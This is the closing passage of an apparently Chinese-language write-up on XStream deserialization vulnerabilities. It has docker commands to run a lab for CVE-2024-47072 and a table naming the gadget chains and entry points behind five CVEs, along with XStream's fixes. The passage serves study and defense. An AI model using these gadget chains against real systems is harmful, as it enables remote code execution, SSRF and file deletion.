docker build -t xstream-cve-2024-47072 .
docker run --rm xstream-cve-2024-47072
总结
这五个 CVE 跨越了 2013 年到 2024 年的十一年时间线,完整地展现了 XStream 安全防御与攻击手法之间的博弈升级:
| 年份 | CVE | 漏洞类型 | 利用入口 | 核心手法 | XStream 应对 |
|---|---|---|---|---|---|
| 2013 | CVE-2013-7285 | 反序列化 RCE | sorted-set → TreeSet |
dynamic-proxy + EventHandler → ProcessBuilder |
引入安全框架,黑名单封禁 EventHandler |
| 2020 | CVE-2020-26258 | SSRF | map → NativeString.hashCode() |
URLDataSource 发起网络请求 |
黑名单追加 URLDataSource |
| 2020 | CVE-2020-26259 | 任意文件删除 | map → NativeString.hashCode() |
ReadAllStream$FileStream close 时删除文件 |
黑名单追加 ReadAllStream$FileStream |
| 2021 | CVE-2021-39149 | 反序列化 RCE | linked-hash-set → HashMap.hashCode() |
CompositeInvocationHandlerImpl + DTraceProbe + TemplatesImpl |
从黑名单彻底转向默认白名单 |
| 2024 | CVE-2024-47072 | 栈溢出 DoS | BinaryStreamDriver.readToken() |
TYPE_MAP_ID_TO_VALUE 递归未收敛 | 循环改写 + mapping 翻转防重复 |
从攻击者的视角看:**当 RCE 被封堵,就找非 RCE 的可用工具类;当老 Gadget 被封堵,就在 JDK 内部类中寻找新的反射路径;当 Java 反序列化入口被收紧,就转向底层解析器的逻辑缺陷。**安全本质上是非对称的——防御者需要堵住所有可能的路径,而攻击者只需要找到一条可行的路。
从防御者的视角看,XStream 的安全演进路径也给所有反序列化库的维护者提供了一个清晰的教训:**黑名单永远是不完备的,默认白名单 + 最小权限原则才是正确的方向。**同时,安全审计不能只盯着反序列化的 Gadget 链——底层数据格式解析器中的逻辑漏洞(如 CVE-2024-47072 的无限递归)同样可能成为致命的攻击入口。